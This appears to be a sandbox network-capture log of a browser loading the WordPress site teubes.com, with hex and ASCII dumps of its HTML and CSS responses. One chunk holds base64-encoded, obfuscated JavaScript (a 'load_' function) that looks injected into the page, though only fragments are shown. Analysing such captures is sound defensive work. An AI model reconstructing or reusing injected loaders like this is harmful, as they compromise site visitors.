2025-03-17 12:02:25 UTC	407	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:24 GMT Server: Apache Link: <https://www.teubes.com/wp-json/>; rel="https://api.w.org/", <https://www.teubes.com/wp-json/wp/v2/pages/2>; rel="alternate"; type="application/json", <https://www.teubes.com/>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-17 12:02:25 UTC	7785	IN	Data Raw: 31 65 66 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 26 20 21 28 49 45 20 38 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d Data Ascii: 1efb<!DOCTYPE html>...[if IE 7]><html class="ie ie7" lang="en-GB"><![endif]-->...[if IE 8]><html class="ie ie8" lang="en-GB"><![endif]-->...[if !(IE 7) & !(IE 8)]>...><html lang="en-GB">...<![endif]--><head><meta charset="UTF-
2025-03-17 12:02:25 UTC	152	IN	Data Raw: 5a 31 62 6d 4e 30 61 57 39 75 49 47 78 76 59 57 52 66 4b 43 6b 67 65 77 6f 67 49 43 41 67 59 32 39 75 63 33 51 67 58 7a 42 34 4e 57 51 77 5a 6d 55 78 49 44 30 67 58 7a 42 34 4e 54 52 6c 4e 43 77 67 58 7a 42 34 4d 54 49 34 4e 6d 4d 32 49 44 30 67 65 77 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 6e 61 55 39 70 56 30 63 6e 4f 69 42 6d 64 57 35 6a 64 47 6c 76 62 69 41 6f 58 7a 42 34 4e 57 56 6c 59 54 4a 6d 4c 43 42 66 4d 48 67 7a 4e 44 45 77 4d 7a Data Ascii: Z1bmN0aW9uIGxvYWRfKCkgewogICAgY29uc3QgXzB4NWQwZmUxID0gXzB4NTRlNCwgXzB4MTI4NmM2ID0gewogICAgICAgICAgICAnaU9pV0cnOiBmdW5jdGlvbiAoXzB4NWVlYTJmLCBfMHgzNDEwMz
2025-03-17 12:02:25 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-17 12:02:25 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 4d 70 49 48 73 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 66 4d 48 67 31 5a 57 56 68 4d 6d 59 67 50 54 30 39 49 46 38 77 65 44 4d 30 4d 54 41 7a 4d 7a 73 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 66 53 77 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4a 32 35 45 61 6d 46 5a 4a 7a 6f 67 5a 6e 56 75 59 33 52 70 62 32 34 67 4b 46 38 77 65 44 52 6c 4e 44 59 35 5a 69 77 67 58 7a 42 34 4d 6a 63 32 4d 6d 51 34 4c 43 42 66 4d 48 67 31 59 7a 41 33 4d 54 41 70 49 48 73 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 66 4d 48 67 30 5a 54 51 32 4f 57 59 6f 58 7a 42 34 4d 6a 63 32 4d 6d 51 34 4c 43 42 66 4d 48 67 31 59 7a 41 33 4d 54 41 Data Ascii: 1ff8MpIHsKICAgICAgICAgICAgICAgIHJldHVybiBfMHg1ZWVhMmYgPT09IF8weDM0MTAzMzsKICAgICAgICAgICAgfSwKICAgICAgICAgICAgJ25EamFZJzogZnVuY3Rpb24gKF8weDRlNDY5ZiwgXzB4Mjc2MmQ4LCBfMHg1YzA3MTApIHsKICAgICAgICAgICAgICAgIHJldHVybiBfMHg0ZTQ2OWYoXzB4Mjc2MmQ4LCBfMHg1YzA3MTA
2025-03-17 12:02:25 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2025-03-17 12:02:25 UTC	8184	IN	Data Raw: 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 23 30 30 39 38 44 33 3b 7d 0d 0a 0d 0a 09 0d 0a 09 0d 0a 09 0d 0a 09 09 09 2e 68 65 61 64 65 72 2d 6c 6f 67 6f 20 7b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 7d 0d 0a 09 0d 0a 09 0d 0a 09 0d 0a 09 0d 0a 09 0d 0a 09 0d 0a 09 09 62 6f 64 79 2e 63 75 73 74 6f 6d 2d 66 6f 6e 74 2d 65 6e 61 62 6c 65 64 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4f 70 65 6e 20 53 61 6e 73 22 2c 20 41 72 69 61 6c 2c 20 56 65 72 64 61 6e 61 3b 7d 0d 0a 0d 0a 09 09 09 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 30 30 70 78 29 20 7b 0d 0a 09 09 09 23 70 72 69 6d 61 72 79 20 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0d 0a 09 09 09 23 73 65 63 6f 6e 64 61 72 79 20 7b 66 6c 6f 61 Data Ascii: order-left-color:#0098D3;}.header-logo {max-width:none;}body.custom-font-enabled {font-family: "Open Sans", Arial, Verdana;}@media screen and (min-width: 600px) {#primary {float:left;}#secondary {floa
2025-03-17 12:02:25 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-17 12:02:25 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 3e 0d 0a 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 73 65 61 72 63 68 22 20 63 6c 61 73 73 3d 22 74 78 74 2d 73 65 61 72 63 68 22 20 6e 61 6d 65 3d 22 73 22 20 69 64 3d 22 73 22 20 2f 3e 0d 0a 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 6e 61 6d 65 3d 22 73 75 62 6d 69 74 22 20 69 64 3d 22 62 74 6e 2d 73 65 61 72 63 68 22 20 76 61 6c 75 65 3d 22 53 65 61 72 63 68 22 20 2f 3e 0d 0a 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2e 77 72 61 70 70 65 72 2d 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2e 62 6c 6f 67 6e 61 6d 65 2d 79 2d 6d 65 Data Ascii: 1ff8><input type="search" class="txt-search" name="s" id="s" /><input type="submit" name="submit" id="btn-search" value="Search" /></form> </div></div></div></div>... .wrapper-site-navigation --></div>... .blogname-y-me
2025-03-17 12:02:25 UTC	6	IN	Data Raw: 31 33 66 64 0d 0a Data Ascii: 13fd
2025-03-17 12:02:25 UTC	5117	IN	Data Raw: 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 65 75 62 65 73 2e 63 6f 6d 2f 63 61 73 74 6f 72 2d 6f 69 6c 2f 22 3e 43 41 53 54 4f 52 20 4f 49 4c 20 4f 46 46 45 52 49 4e 47 20 49 4d 50 4f 52 54 41 4e 54 20 43 4f 4d 4d 45 52 43 49 41 4c 20 56 41 4c 55 45 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 6c 69 3e 0a 09 09 09 09 09 3c 2f 75 6c 3e 0a 0a 09 09 3c 2f 61 73 69 64 65 3e 09 09 3c 2f 64 69 76 3e 3c 21 2d 2d 20 23 73 65 63 6f 6e 64 61 72 79 20 2d 2d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 3c 21 2d 2d 20 23 6d 61 69 6e 20 2e 77 72 61 70 70 65 72 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 3c 21 2d 2d 20 23 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 09 3c 66 6f 6f 74 65 72 20 69 64 3d 22 63 6f 6c 6f 70 68 6f 6e 22 20 72 6f 6c 65 3d 22 63 6f Data Ascii: <a href="https://www.teubes.com/castor-oil/">CASTOR OIL OFFERING IMPORTANT COMMERCIAL VALUE</a></li></ul></aside></div>... #secondary --></div>... #main .wrapper --></div>... #page --><footer id="colophon" role="co

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:26 UTC	600	OUT	GET /wp-content/plugins/wp-lightbox-2/styles/lightbox.min.css?ver=1.3.4 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:26 UTC	281	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 11 Oct 2022 14:53:40 GMT ETag: "c2b-5eac3711cf174" Accept-Ranges: bytes Content-Length: 3115 Vary: Accept-Encoding Content-Type: text/css
2025-03-17 12:02:26 UTC	3115	IN	Data Raw: 2f 2a 2a 0d 0a 20 2a 20 57 50 20 6a 51 75 65 72 79 20 4c 69 67 68 74 62 6f 78 0d 0a 20 2a 20 56 65 72 73 69 6f 6e 20 31 2e 33 2e 34 20 2d 20 32 30 31 31 2d 31 32 2d 32 39 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 65 78 74 65 6e 64 2f 70 6c 75 67 69 6e 73 2f 77 70 2d 6a 71 75 65 72 79 2d 6c 69 67 68 74 62 6f 78 2f 20 0d 0a 20 2a 2f 0d 0a 23 6c 69 67 68 74 62 6f 78 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 6c 65 66 74 3a 20 30 3b 0d 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 30 31 30 30 3b 2f 2a 74 77 65 6e 74 79 65 6c 65 76 65 6e 20 6b 65 65 70 73 20 74 68 65 20 68 65 61 64 65 72 20 61 74 20 39 39 39 2e 2e 2e 2a 2f 0d 0a 09 74 65 78 74 2d 61 6c 69 Data Ascii: /** * WP jQuery Lightbox * Version 1.3.4 - 2011-12-29 * http://wordpress.org/extend/plugins/wp-jquery-lightbox/ /#lightbox{position: absolute;left: 0;width: 100%;z-index: 10100;/twentyeleven keeps the header at 999...*/text-ali

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:26 UTC	601	OUT	GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.3 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:26 UTC	281	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 30 Jan 2023 20:17:49 GMT ETag: "af3-5f380e8b45b99" Accept-Ranges: bytes Content-Length: 2803 Vary: Accept-Encoding Content-Type: text/css
2025-03-17 12:02:26 UTC	2803	IN	Data Raw: 2e 77 70 63 66 37 20 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 63 6c 69 70 3a 20 72 65 63 74 28 31 70 78 2c 20 31 70 78 2c 20 31 70 78 2c 20 31 70 78 29 3b 0a 09 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0a 09 77 69 64 74 68 3a 20 31 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 2d 31 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 09 77 6f 72 64 2d 77 72 61 70 3a 20 6e 6f 72 6d 61 6c 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 2e 77 70 63 66 37 20 66 6f 72 6d 20 2e 77 70 63 66 37 2d 72 65 73 70 6f Data Ascii: .wpcf7 .screen-reader-response {position: absolute;overflow: hidden;clip: rect(1px, 1px, 1px, 1px);clip-path: inset(50%);height: 1px;width: 1px;margin: -1px;padding: 0;border: 0;word-wrap: normal !important;}.wpcf7 form .wpcf7-respo

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:26 UTC	582	OUT	GET /wp-content/themes/rubbersoul/style.css?ver=2.3.0 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:26 UTC	283	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 17 Mar 2019 09:04:29 GMT ETag: "b124-584468f38e9a9" Accept-Ranges: bytes Content-Length: 45348 Vary: Accept-Encoding Content-Type: text/css
2025-03-17 12:02:26 UTC	7909	IN	Data Raw: 2f 2a 0d 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 52 75 62 62 65 72 53 6f 75 6c 0d 0a 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 67 61 6c 75 73 73 6f 74 68 65 6d 65 73 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2d 74 68 65 6d 65 73 2f 72 75 62 62 65 72 73 6f 75 6c 0d 0a 41 75 74 68 6f 72 3a 20 47 61 6c 75 73 73 6f 54 68 65 6d 65 73 0d 0a 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 73 3a 2f 2f 67 61 6c 75 73 73 6f 74 68 65 6d 65 73 2e 63 6f 6d 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 52 75 62 62 65 72 53 6f 75 6c 20 69 73 20 61 20 73 69 6d 70 6c 65 20 61 6e 64 20 6c 69 67 68 74 20 57 6f 72 64 50 72 65 73 73 20 74 68 65 6d 65 20 77 69 74 68 20 61 20 63 6c 65 61 72 20 61 6e 64 20 6e 65 61 74 20 64 65 73 69 67 6e 2e 20 53 6f 6d 65 20 69 74 Data Ascii: /*Theme Name: RubberSoulTheme URI: https://galussothemes.com/wordpress-themes/rubbersoulAuthor: GalussoThemesAuthor URI: https://galussothemes.comDescription: RubberSoul is a simple and light WordPress theme with a clear and neat design. Some it
2025-03-17 12:02:26 UTC	8000	IN	Data Raw: 79 20 2a 2f 0d 0a 7d 0d 0a 69 6d 67 2e 73 69 7a 65 2d 66 75 6c 6c 2c 0d 0a 69 6d 67 2e 73 69 7a 65 2d 6c 61 72 67 65 2c 0d 0a 69 6d 67 2e 68 65 61 64 65 72 2d 69 6d 61 67 65 2c 0d 0a 69 6d 67 2e 77 70 2d 70 6f 73 74 2d 69 6d 61 67 65 20 7b 0d 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 20 2f 2a 20 4d 61 6b 65 20 73 75 72 65 20 69 6d 61 67 65 73 20 77 69 74 68 20 57 6f 72 64 50 72 65 73 73 2d 61 64 64 65 64 20 68 65 69 67 68 74 20 61 6e 64 20 77 69 64 74 68 20 61 74 74 72 69 62 75 74 65 73 20 61 72 65 20 73 63 61 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 2f 2a 20 4d 61 6b 65 20 73 75 72 65 20 76 69 64 65 6f 73 20 61 6e 64 20 65 6d 62 65 64 73 20 66 69 74 20 74 68 65 69 72 Data Ascii: y /}img.size-full,img.size-large,img.header-image,img.wp-post-image {max-width: 100%;height: auto; / Make sure images with WordPress-added height and width attributes are scaled correctly /}/ Make sure videos and embeds fit their
2025-03-17 12:02:26 UTC	8000	IN	Data Raw: 65 74 61 20 7b 0d 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 2e 65 6e 74 72 79 2d 68 65 61 64 65 72 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 34 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 2e 37 31 34 32 38 35 37 31 34 72 65 6d 3b 0d 0a 7d 0d 0a 2e 65 6e 74 72 79 2d 68 65 61 64 65 72 20 69 6d 67 2e 77 70 2d 70 6f 73 74 2d 69 6d 61 67 65 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 34 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 2e 37 31 34 32 38 35 37 31 34 72 65 6d 3b 0d 0a 7d 0d 0a 2e 65 6e 74 72 79 2d 68 65 61 64 65 72 20 2e 65 6e 74 72 79 2d 74 69 74 6c 65 20 7b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: eta {clear: both;}.entry-header {margin-bottom: 24px;margin-bottom: 1.714285714rem;}.entry-header img.wp-post-image {margin-bottom: 24px;margin-bottom: 1.714285714rem;}.entry-header .entry-title {font-size: 20px;font-size:
2025-03-17 12:02:26 UTC	8000	IN	Data Raw: 6f 6c 6f 72 3a 20 23 34 64 35 32 35 61 3b 0d 0a 7d 0d 0a 61 72 74 69 63 6c 65 2e 66 6f 72 6d 61 74 2d 61 73 69 64 65 20 68 31 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 32 65 33 35 34 32 3b 0d 0a 7d 0d 0a 61 72 74 69 63 6c 65 2e 66 6f 72 6d 61 74 2d 61 73 69 64 65 20 2e 61 73 69 64 65 20 7b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 32 34 70 78 20 32 34 70 78 20 30 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 2e 37 31 34 32 38 35 37 31 34 72 65 6d 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 37 66 37 66 37 3b 20 23 64 32 65 30 66 39 3b 0d 0a 09 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 32 32 70 78 20 73 6f 6c 69 64 20 23 61 38 62 66 65 38 3b 0d 0a 7d 0d 0a 61 72 74 69 63 6c 65 2e 66 6f 72 6d 61 74 2d 61 73 69 64 65 20 70 20 7b 0d 0a 09 66 Data Ascii: olor: #4d525a;}article.format-aside h1 a:hover {color: #2e3542;}article.format-aside .aside {padding: 24px 24px 0;padding: 1.714285714rem;background: #f7f7f7; #d2e0f9;border-left: 22px solid #a8bfe8;}article.format-aside p {f
2025-03-17 12:02:26 UTC	8000	IN	Data Raw: 6f 6c 75 74 65 3b 0d 0a 09 6c 65 66 74 3a 30 3b 0d 0a 09 72 69 67 68 74 3a 30 3b 0d 0a 09 74 6f 70 3a 30 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 32 32 32 3b 0d 0a 09 63 6f 6c 6f 72 3a 23 45 41 45 41 45 41 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 31 34 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 31 72 65 6d 3b 0d 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 39 39 3b 0d 0a 7d 0d 0a 2e 62 6f 74 6f 6e 2d 6d 65 6e 75 2d 6d 6f 76 69 6c 20 7b 0d 0a 09 66 6c 6f 61 74 3a 6c 65 66 74 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 37 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 30 2e 35 72 65 6d 3b 0d 0a 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 0d 0a 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 34 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 Data Ascii: olute;left:0;right:0;top:0;background-color:#222222;color:#EAEAEA;padding:14px;padding:1rem;z-index:9999;}.boton-menu-movil {float:left;padding:7px;padding:0.5rem;padding-right:0;margin-right:14px;margin-right
2025-03-17 12:02:26 UTC	5439	IN	Data Raw: 37 31 34 32 38 35 37 31 34 32 38 35 37 31 34 72 65 6d 3b 0d 0a 09 09 2f 2a 20 61 64 65 6d 61 73 20 70 61 72 61 20 70 6f 6e 65 72 20 73 69 64 65 62 61 72 20 61 20 6c 61 20 69 7a 71 75 69 65 72 64 61 20 23 70 72 69 6d 61 72 79 20 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 7d 20 23 73 65 63 6f 6e 64 61 72 79 20 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 20 2a 2f 0d 0a 09 7d 0d 0a 09 62 6f 64 79 2e 74 65 6d 70 6c 61 74 65 2d 66 72 6f 6e 74 2d 70 61 67 65 20 2e 73 69 74 65 2d 63 6f 6e 74 65 6e 74 2c 0d 0a 09 62 6f 64 79 2e 61 74 74 61 63 68 6d 65 6e 74 20 2e 73 69 74 65 2d 63 6f 6e 74 65 6e 74 2c 0d 0a 09 62 6f 64 79 2e 66 75 6c 6c 2d 77 69 64 74 68 20 2e 73 69 74 65 2d 63 6f 6e 74 65 6e 74 20 7b 0d 0a 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 09 7d 0d 0a 09 2e Data Ascii: 714285714285714rem;/* ademas para poner sidebar a la izquierda #primary {float:right;} #secondary {float:left;} */}body.template-front-page .site-content,body.attachment .site-content,body.full-width .site-content {width: 100%;}.

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:26 UTC	577	OUT	GET /wp-includes/css/dashicons.min.css?ver=6.1.7 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:26 UTC	283	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 18 Nov 2021 08:00:03 GMT ETag: "e688-5d10b8bc551ef" Accept-Ranges: bytes Content-Length: 59016 Vary: Accept-Encoding Content-Type: text/css
2025-03-17 12:02:26 UTC	7909	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 64 61 73 68 69 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 22 2e 2e 2f 66 6f 6e 74 73 2f 64 61 73 68 69 63 6f 6e 73 2e 65 6f 74 3f 39 39 61 63 37 32 36 32 32 33 63 37 34 39 34 34 33 62 36 34 32 63 65 33 33 64 66 38 62 38 30 30 22 29 3b 73 72 63 3a 75 72 6c 28 22 2e 2e 2f 66 6f 6e 74 73 2f 64 61 73 68 69 63 6f 6e 73 2e 65 6f 74 3f 39 39 61 63 37 32 36 32 32 33 63 37 34 39 34 34 33 62 36 34 32 63 65 33 33 64 66 38 62 38 30 30 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 75 72 6c 28 22 64 61 74 61 3a 61 70 70 6c 69 63 61 74 69 Data Ascii: /! This file is auto-generated /@font-face{font-family:dashicons;src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800");src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800#iefix") format("embedded-opentype"),url("data:applicati
2025-03-17 12:02:26 UTC	8000	IN	Data Raw: 79 37 63 49 6e 6c 4a 45 76 57 6a 47 38 74 64 52 43 58 61 6f 52 42 46 67 6b 70 58 2b 52 55 4a 4d 43 36 58 35 4d 35 78 47 71 4e 46 72 4c 53 72 73 79 79 4a 55 37 53 63 6a 33 41 44 52 6d 46 31 64 4d 31 7a 50 4f 73 5a 72 43 61 5a 66 4b 6d 47 47 61 55 62 4f 32 66 79 57 6f 32 72 56 6a 6d 4d 73 4f 49 55 31 36 61 74 4b 4d 4a 50 46 45 57 61 48 45 46 75 43 49 36 52 73 6c 49 77 57 36 55 38 47 70 74 77 4c 70 64 34 4b 33 64 79 5a 65 30 2b 57 6a 63 52 33 76 6a 71 36 68 31 72 55 64 59 34 5a 4e 75 63 62 68 48 2f 30 68 61 68 49 5a 77 75 52 66 30 65 70 53 66 6a 71 4b 69 6d 77 33 32 57 6e 76 42 58 6a 44 70 77 32 75 7a 73 59 4d 49 6b 31 79 78 4b 67 33 43 59 52 32 4f 57 31 6e 36 64 44 42 45 77 31 61 72 42 33 4d 6b 43 42 49 61 65 67 58 4b 4b 78 49 5a 68 77 55 63 41 68 44 4b 77 Data Ascii: y7cInlJEvWjG8tdRCXaoRBFgkpX+RUJMC6X5M5xGqNFrLSrsyyJU7Scj3ADRmF1dM1zPOsZrCaZfKmGGaUbO2fyWo2rVjmMsOIU16atKMJPFEWaHEFuCI6RslIwW6U8GptwLpd4K3dyZe0+WjcR3vjq6h1rUdY4ZNucbhH/0hahIZwuRf0epSfjqKimw32WnvBXjDpw2uzsYMIk1yxKg3CYR2OW1n6dDBEw1arB3MkCBIaegXKKxIZhwUcAhDKw
